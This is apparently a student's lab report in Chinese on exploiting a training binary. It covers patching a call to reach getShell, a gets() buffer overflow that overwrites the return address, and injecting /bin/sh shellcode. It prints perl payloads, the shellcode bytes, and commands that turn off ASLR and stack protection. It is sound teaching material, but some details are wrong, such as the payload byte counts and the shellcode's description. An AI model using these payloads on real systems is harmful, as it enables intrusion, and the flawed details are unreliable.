实验一 逆向破解与BOF

一、实验内容
本次实验围绕程序执行流程控制与缓冲区溢出(Buffer Overflow, BOF)攻击展开,通过三种核心方法实现对目标程序的控制并获取 shell,具体内容如下:
1.手工修改可执行文件:直接编辑程序的机器指令,将原本调用正常函数的逻辑改为跳转到预设的getShell函数,强制改变程序执行路径。
2.利用 BOF 漏洞劫持执行流:分析目标程序中foo函数的缓冲区溢出漏洞,构造包含特定数据的攻击输入字符串,覆盖函数返回地址,使程序执行时自动触发getShell函数。
3.注入自定义 shellcode 并执行:编写或使用现成的 shellcode(用于获取 shell 的机器码),通过缓冲区溢出漏洞将其注入到程序内存中,同时控制返回地址指向 shellcode,实现自定义代码的执行。
二、实验目的
1.掌握关键汇编指令(NOP、JNE、JE、JMP、CMP)对应的机器码,理解指令在二进制层面的表示形式。
2.熟练使用反汇编工具(如objdump)与十六进制编辑器(如vi的十六进制模式),能够从二进制文件中解析程序逻辑与内存布局。
3.理解程序执行流程的控制原理,能够通过修改机器指令直接改变函数调用关系,实现执行流跳转。
4.掌握缓冲区溢出漏洞的利用原理,能够根据漏洞特点构造payload(攻击数据),覆盖返回地址以劫持程序执行流。
5.了解 shellcode 的编写与注入逻辑,掌握关闭系统安全防护(如地址随机化、堆栈执行保护)的方法,实现 shellcode 的成功执行。
四、实验过程与分析
本次实验通过三种独立方法实现获取 shell,每种方法均需结合反汇编分析、内存调试与攻击数据构造,具体步骤如下:
(一)方法一:直接修改机器指令,跳转至getShell函数
该方法的核心思路是:找到程序中调用正常函数(foo)的机器指令,将其目标地址改为getShell函数的地址,使程序启动后直接执行getShell。

  1. 文件准备与权限配置
    将目标文件pwn1通过 WinSCP 工具传输至 Kali 虚拟机的桌面目录,避免直接修改原文件,通过复制生成实验副本:
    image
  2. 反汇编分析,确定关键地址
    使用objdump -d pwn_modify_1 | more对文件进行反汇编,重点分析main函数、foo函数与getShell函数的内存地址:
    getShell函数起始地址:0x0804847d(汇编代码中:后的首地址)
    foo函数起始地址:0x08048491(汇编代码中:后的首地址)
    main函数中调用foo的指令:在0x080484b5处,指令为e8 d7 ff ff ff,其中e8是 “调用函数” 的机器码,d7 ff ff ff是相对偏移量(表示从当前指令下一条地址0x080484ba到foo的偏移)。
  3. 计算getShell的相对偏移量
    函数调用指令的相对偏移量计算公式为:偏移量 = 目标函数地址 - (当前指令地址 + 5)(“+5” 是因为e8指令占 1 字节,偏移量占 4 字节,共 5 字节)。
    当前指令地址:0x080484b5(调用foo的指令地址)
    目标函数地址(getShell):0x0804847d
    计算偏移量:0x0804847d - (0x080484b5 + 5) = 0xffffffc3(补码形式)
    因此,需将原调用指令e8 d7 ff ff ff修改为e8 c3 ff ff ff。
  4. 十六进制编辑修改指令
    使用vi打开文件并切换至十六进制模式:
    bash
    vi pwn_modify_1

进入命令模式,执行以下命令切换为十六进制显示

:%!xxd
全局搜索需修改的偏移量d7ff(原指令的后 4 字节为d7 ff ff ff),找到后将d7ff改为c3ff(对应偏移量0xffffffc3)。
切换回原文件格式并保存退出:
bash

十六进制模式切换回二进制格式

:%!xxd -r

保存并退出

:wq
5. 验证与执行
再次反汇编验证:objdump -d pwn_modify_1 | grep e8,确认0x080484b5处的指令已变为e8 c3 ff ff ff,即调用getShell函数。
执行修改后的文件:./pwn_modify_1,程序直接进入 shell 环境,验证修改成功。
(二)方法二:利用 BOF 漏洞,构造payload覆盖返回地址
该方法的核心思路是:foo函数使用gets函数(无长度限制的输入函数)读取数据到固定大小的缓冲区,当输入数据超过缓冲区大小时,多余数据会覆盖栈中的函数返回地址,将其改为getShell地址即可劫持执行流。

  1. 反汇编分析 BOF 漏洞
    对未修改的pwn1副本(命名为pwn_bof_1)反汇编:
    bash
    objdump -d pwn_bof_1 | grep -A 10 ":"
    关键指令lea -0x1c(%ebp),%eax表明:foo函数在栈上为缓冲区分配了0x1c字节(即 28 字节)的空间,gets函数会将输入数据写入该缓冲区,输入超过 28 字节时会触发溢出。
  2. 调试确定返回地址覆盖位置
    使用gdb调试程序,通过输入特定格式的字符串(如 “1111...2222...3333...4444...12345678”),观察栈中返回地址被覆盖的位置:
    启动调试:gdb pwn_bof_1
    运行程序并输入测试字符串:
    gdb
    (gdb) r

输入超过28字节的测试字符串:前28字节用1/2/3填充,后8字节用4444444412345678填充

1111111122222222333333334444444412345678
程序触发段错误(SIGSEGV),查看寄存器eip(指令指针寄存器,存储下一条要执行的指令地址):
gdb
(gdb) info r eip
eip 0x34333231 0x34333231
0x34333231是字符 “4321” 的 ASCII 码(十六进制),说明输入的 “1234” 恰好覆盖了栈中的返回地址(eip的值由返回地址决定)。因此,返回地址位于输入字符串的第28+4=32字节之后(前 32 字节用于填充缓冲区与栈帧其他数据,第 33-36 字节覆盖返回地址)。
3. 构造payload
payload格式为:[32字节填充数据] + [getShell地址(4字节,小端序)]。
填充数据:可用任意字符(如 “1111...2222...”),共 32 字节。
getShell地址:0x0804847d,小端序存储(低字节在前)为\x7d\x84\x04\x08。
使用perl生成payload并写入文件input_bof:
bash
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\n"' > input_bof
通过xxd input_bof验证:文件末尾是否包含7d 84 04 08(getShell地址的十六进制形式)。
4. 执行攻击
通过管道符将input_bof作为pwn_bof_1的输入,触发 BOF 并执行getShell:
bash

(cat input_bof; cat) 确保攻击后保持shell交互

(cat input_bof; cat) | ./pwn_bof_1
程序成功进入 shell,执行ls命令可查看当前目录文件,验证攻击成功。
(三)方法三:注入 shellcode 并执行
该方法的核心思路是:将自定义 shellcode 注入到缓冲区,同时覆盖返回地址指向 shellcode 的内存位置,使程序执行时跳转到 shellcode 并执行。需先关闭系统安全防护,确保 shellcode 可执行。

  1. 关闭系统安全防护
    关闭堆栈执行保护:安装execstack工具并修改程序堆栈权限:
    bash

安装execstack

sudo apt install execstack -y

将程序堆栈设置为可执行(-s:set executable stack)

execstack -s pwn_shellcode_1

验证设置(-q:query executable stack status,返回X表示可执行)

execstack -q pwn_shellcode_1
关闭地址空间布局随机化(ASLR):ASLR 会随机化栈、堆地址,导致 shellcode 地址不可预测,需关闭:
bash

查看当前ASLR级别(2:完全开启,0:完全关闭)

cat /proc/sys/kernel/randomize_va_space

关闭ASLR(需root权限)

sudo echo 0 > /proc/sys/kernel/randomize_va_space
2. 确定 shellcode 注入地址
准备测试payload:[32字节填充] + [0x01020304(占位地址)] + [NOP滑条(如10字节)],用于标记缓冲区位置:
bash
perl -e 'print "A"x32 . "\x04\x03\x02\x01" . "\x90"x10 . "\n"' > input_test
启动程序并附加gdb调试:
bash

后台运行程序,接收输入

(cat input_test; cat) | ./pwn_shellcode_1 &

查看程序PID(替换[pwn_shellcode_1]为实际进程名)

ps -ef | grep pwn_shellcode_1

附加调试(替换1234为实际PID)

gdb -p 1234
在foo函数返回前(地址0x080484ae)设置断点,查看栈内存:
gdb

在foo函数返回指令处设置断点

(gdb) break *0x080484ae
(gdb) c

查看栈中占位地址0x01020304的位置

(gdb) x/20x $esp
假设0x01020304位于0xffffd12c,则 shellcode 注入在缓冲区前部,地址为0xffffd12c + 4 = 0xffffd130(占位地址后 4 字节为 shellcode 起始位置)。
3. 构造 shellcodepayload
payload格式为:[NOP滑条(如10字节)] + [shellcode] + [32 - (NOP长度 + shellcode长度) 字节填充] + [shellcode地址(小端序)]。
NOP 滑条:\x90(NOP 指令,仅占 1 字节,执行时无操作,用于兼容地址微小偏差)。
shellcode(32 位 Linux 获取 shell):\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80(功能:调用system("/bin/sh"))。
填充数据:确保 NOP+shellcode + 填充共 32 字节,覆盖缓冲区与栈帧数据。
shellcode 地址:0xffffd130,小端序为\x30\xd1\xff\xff。
生成payload文件input_shellcode:
bash
perl -e 'print "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80" . "A"x2 . "\x30\xd1\xff\xff\n"' > input_shellcode
4. 执行注入并验证
通过管道符输入payload,执行程序:
bash
(cat input_shellcode; cat) | ./pwn_shellcode_1
程序成功进入 shell,执行whoami命令可查看当前用户,验证 shellcode 执行成功。
五、问题及解决

  1. 系统兼容性问题:32 位 ELF 文件无法在 Ubuntu 24.04 运行
    问题现象:最初使用 Ubuntu 24.04 64 位系统实验时,执行pwn1提示 “无法执行二进制文件:没有那个文件或目录”,尝试安装 32 位链接库(lib32z1、libc6-i386)失败。
    原因分析:Ubuntu 24.04 对旧版 32 位库支持不足,部分依赖库已从官方源移除。
    解决方案:更换为 Ubuntu 20.04 64 位系统,通过以下命令成功安装 32 位环境:
    bash
    sudo dpkg --add-architecture i386
    sudo apt update
    sudo apt install lib32z1 libc6-i386 -y
    同时安装 Kali 工具链(gdb-multiarch、objdump),确保工具兼容 32 位程序。
  2. shellcode 注入段错误:地址跳转不匹配
    问题现象:构造payload后执行程序,提示 “段错误(核心已转储)”,未进入 shell。
    原因分析:混淆了两种payload构造方式:
    错误方式:采用 “返回地址 + NOP + shellcode”,但实际将 shellcode 放在缓冲区前部,导致返回地址指向无效内存。
    正确方式:采用 “NOP + shellcode + 返回地址”,返回地址需指向 NOP 滑条(确保即使地址有微小偏差,仍能滑到 shellcode)。
    解决方案:重新通过gdb确认 shellcode 起始地址,调整payload结构,将返回地址改为 NOP 滑条的中间地址(如0xffffd12e),确保跳转后能执行 NOP 并进入 shellcode。
    六、心得体会
    本次实验是对底层程序执行机制与缓冲区溢出攻击的深度实践,不仅掌握了反汇编、内存调试等核心工具的使用,更对 “程序执行流可控性” 有了直观理解,主要收获如下:
    环境配置是实验成功的前提:32 位与 64 位系统的兼容性、系统安全防护(ASLR、堆栈保护)的开关状态,直接影响实验结果。例如,ASLR 未关闭时,shellcode 地址随机变化,导致注入始终失败;Ubuntu 24.04 的库支持问题则提醒我,底层实验需优先选择对旧架构兼容的系统版本。
    反汇编与内存调试是核心能力:通过objdump解析机器指令,能准确定位函数地址与缓冲区大小;通过gdb跟踪eip、esp寄存器,可清晰看到返回地址被覆盖的过程。这些操作让我从 “理论理解” 转向 “实际观察”,真正掌握了 BOF 漏洞的利用原理。
    细节决定攻击成败:小端序存储、相对偏移量计算、payload结构设计等细节,稍有偏差便会导致实验失败。例如,将getShell地址按大端序(\x08\x04\x84\x7d)写入payload,会导致返回地址无效;shellcode 长度计算错误,会导致填充字节不足,无法覆盖返回地址。
    安全防护与攻击的对抗思维:关闭 ASLR、堆栈执行保护后,shellcode 才能成功执行,这让我理解了现代操作系统安全机制的作用 ——ASLR 通过地址随机化增加攻击难度,堆栈保护则直接禁止堆栈执行,从根源上防范 shellcode 注入。这种 “攻击 - 防护” 的对抗逻辑,为后续学习系统安全打下了基础。
    总之,本次实验不仅掌握了获取 shell 的三种方法,更培养了 “从二进制层面分析程序” 的思维。后续将进一步学习 64 位程序的 BOF 攻击、ROP(返回导向编程)等高级技术,深化对系统攻防的理解。
posted @ 2025-10-13 17:11  20232406王瑞渤  阅读(35)  评论(0)    收藏  举报